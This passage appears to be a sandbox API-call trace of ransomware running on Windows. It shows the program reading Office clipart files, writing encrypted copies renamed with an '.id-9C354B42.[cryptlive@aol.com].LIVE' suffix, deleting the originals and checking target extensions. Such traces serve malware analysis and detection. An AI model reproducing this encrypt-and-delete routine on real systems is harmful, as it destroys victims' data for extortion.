Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0134.821] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=28948) returned 1 [0134.821] CloseHandle (hObject=0x350) returned 1 [0134.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x20 [0134.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0134.822] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.822] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.822] GetLastError () returned 0x0 [0134.822] ReadFile (in: hFile=0x350, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x7114, lpOverlapped=0x0) returned 1 [0134.862] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x7120, lpOverlapped=0x0) returned 1 [0134.864] ReadFile (in: hFile=0x350, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0134.864] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.864] SetEndOfFile (hFile=0x384) returned 1 [0134.878] CloseHandle (hObject=0x384) returned 1 [0134.883] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.883] SetEndOfFile (hFile=0x350) returned 1 [0134.898] CloseHandle (hObject=0x350) returned 1 [0134.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0134.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0134.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0134.970] lstrlenW (lpString=".doc") returned 4 [0134.970] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.970] lstrlenW (lpString=".docx") returned 5 [0134.970] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.970] lstrlenW (lpString=".pdf") returned 4 [0134.970] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.970] lstrlenW (lpString=".xls") returned 4 [0134.970] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.970] lstrlenW (lpString=".xlsx") returned 5 [0134.970] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.970] lstrlenW (lpString=".ppt") returned 4 [0134.970] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0134.970] lstrlenW (lpString=".zip") returned 4 [0134.970] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.970] lstrlenW (lpString=".rar") returned 4 [0134.970] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.970] lstrlenW (lpString=".bz2") returned 4 [0134.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.970] lstrlenW (lpString=".7z") returned 3 [0134.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0134.970] lstrlenW (lpString=".dbf") returned 4 [0134.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0134.971] lstrlenW (lpString=".1cd") returned 4 [0134.971] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0134.971] lstrlenW (lpString=".jpg") returned 4 [0134.971] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0134.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0134.971] lstrlenW (lpString=".doc") returned 4 [0134.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.971] lstrlenW (lpString=".docx") returned 5 [0134.971] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.971] lstrlenW (lpString=".pdf") returned 4 [0134.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.971] lstrlenW (lpString=".xls") returned 4 [0134.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.971] lstrlenW (lpString=".xlsx") returned 5 [0134.971] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.971] lstrlenW (lpString=".ppt") returned 4 [0134.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0134.971] lstrlenW (lpString=".zip") returned 4 [0134.971] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.971] lstrlenW (lpString=".rar") returned 4 [0134.971] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.971] lstrlenW (lpString=".bz2") returned 4 [0134.971] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.971] lstrlenW (lpString=".7z") returned 3 [0134.971] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0134.971] lstrlenW (lpString=".dbf") returned 4 [0134.971] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0134.971] lstrlenW (lpString=".1cd") returned 4 [0134.971] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0134.971] lstrlenW (lpString=".jpg") returned 4 [0134.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.972] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.972] lstrlenW (lpString="BD05119_.WMF") returned 12 [0134.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0134.973] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=17236) returned 1 [0134.973] CloseHandle (hObject=0x314) returned 1 [0134.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x20 [0134.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0134.974] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.974] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.975] GetLastError () returned 0x0 [0134.975] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x4354, lpOverlapped=0x0) returned 1 [0134.977] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x4360, lpOverlapped=0x0) returned 1 [0134.978] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0134.978] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.978] SetEndOfFile (hFile=0x384) returned 1 [0134.979] CloseHandle (hObject=0x384) returned 1 [0134.979] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.979] SetEndOfFile (hFile=0x314) returned 1 [0134.983] CloseHandle (hObject=0x314) returned 1 [0134.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0134.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0134.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0134.985] lstrlenW (lpString=".doc") returned 4 [0134.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.985] lstrlenW (lpString=".docx") returned 5 [0134.985] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.985] lstrlenW (lpString=".pdf") returned 4 [0134.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.985] lstrlenW (lpString=".xls") returned 4 [0134.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.985] lstrlenW (lpString=".xlsx") returned 5 [0134.985] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.985] lstrlenW (lpString=".ppt") returned 4 [0134.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0134.985] lstrlenW (lpString=".zip") returned 4 [0134.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.985] lstrlenW (lpString=".rar") returned 4 [0134.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.985] lstrlenW (lpString=".bz2") returned 4 [0134.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.985] lstrlenW (lpString=".7z") returned 3 [0134.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0134.985] lstrlenW (lpString=".dbf") returned 4 [0134.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0134.985] lstrlenW (lpString=".1cd") returned 4 [0134.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0134.985] lstrlenW (lpString=".jpg") returned 4 [0134.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0134.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0134.986] lstrlenW (lpString=".doc") returned 4 [0134.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.986] lstrlenW (lpString=".docx") returned 5 [0134.986] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.986] lstrlenW (lpString=".pdf") returned 4 [0134.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.986] lstrlenW (lpString=".xls") returned 4 [0134.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.986] lstrlenW (lpString=".xlsx") returned 5 [0134.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.986] lstrlenW (lpString=".ppt") returned 4 [0134.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0134.986] lstrlenW (lpString=".zip") returned 4 [0134.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.986] lstrlenW (lpString=".rar") returned 4 [0134.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.986] lstrlenW (lpString=".bz2") returned 4 [0134.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.986] lstrlenW (lpString=".7z") returned 3 [0134.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0134.986] lstrlenW (lpString=".dbf") returned 4 [0134.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0134.986] lstrlenW (lpString=".1cd") returned 4 [0134.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0134.986] lstrlenW (lpString=".jpg") returned 4 [0134.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.987] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.987] lstrlenW (lpString="BD06102_.WMF") returned 12 [0134.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0134.988] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=16112) returned 1 [0134.988] CloseHandle (hObject=0x314) returned 1 [0134.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x20 [0134.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0134.988] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.988] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.989] GetLastError () returned 0x0 [0134.989] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x3ef0, lpOverlapped=0x0) returned 1 [0134.991] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x3f00, lpOverlapped=0x0) returned 1 [0134.992] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0134.992] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.992] SetEndOfFile (hFile=0x384) returned 1 [0134.992] CloseHandle (hObject=0x384) returned 1 [0134.992] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0135.164] SetEndOfFile (hFile=0x314) returned 1 [0135.166] CloseHandle (hObject=0x314) returned 1 [0135.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0135.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0135.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0135.185] lstrlenW (lpString=".doc") returned 4 [0135.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.185] lstrlenW (lpString=".docx") returned 5 [0135.186] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.186] lstrlenW (lpString=".pdf") returned 4 [0135.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.186] lstrlenW (lpString=".xls") returned 4 [0135.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.186] lstrlenW (lpString=".xlsx") returned 5 [0135.186] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.186] lstrlenW (lpString=".ppt") returned 4 [0135.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0135.186] lstrlenW (lpString=".zip") returned 4 [0135.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.186] lstrlenW (lpString=".rar") returned 4 [0135.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.186] lstrlenW (lpString=".bz2") returned 4 [0135.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.186] lstrlenW (lpString=".7z") returned 3 [0135.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0135.186] lstrlenW (lpString=".dbf") returned 4 [0135.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0135.186] lstrlenW (lpString=".1cd") returned 4 [0135.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0135.186] lstrlenW (lpString=".jpg") returned 4 [0135.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0135.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0135.187] lstrlenW (lpString=".doc") returned 4 [0135.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.187] lstrlenW (lpString=".docx") returned 5 [0135.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.187] lstrlenW (lpString=".pdf") returned 4 [0135.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.187] lstrlenW (lpString=".xls") returned 4 [0135.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.187] lstrlenW (lpString=".xlsx") returned 5 [0135.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.187] lstrlenW (lpString=".ppt") returned 4 [0135.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0135.187] lstrlenW (lpString=".zip") returned 4 [0135.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.187] lstrlenW (lpString=".rar") returned 4 [0135.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.187] lstrlenW (lpString=".bz2") returned 4 [0135.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.187] lstrlenW (lpString=".7z") returned 3 [0135.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0135.187] lstrlenW (lpString=".dbf") returned 4 [0135.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0135.187] lstrlenW (lpString=".1cd") returned 4 [0135.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0135.187] lstrlenW (lpString=".jpg") returned 4 [0135.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.188] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0135.188] lstrlenW (lpString="BD07831_.WMF") returned 12 [0135.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0135.196] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=4066) returned 1 [0135.196] CloseHandle (hObject=0x38c) returned 1 [0135.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x20 [0135.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 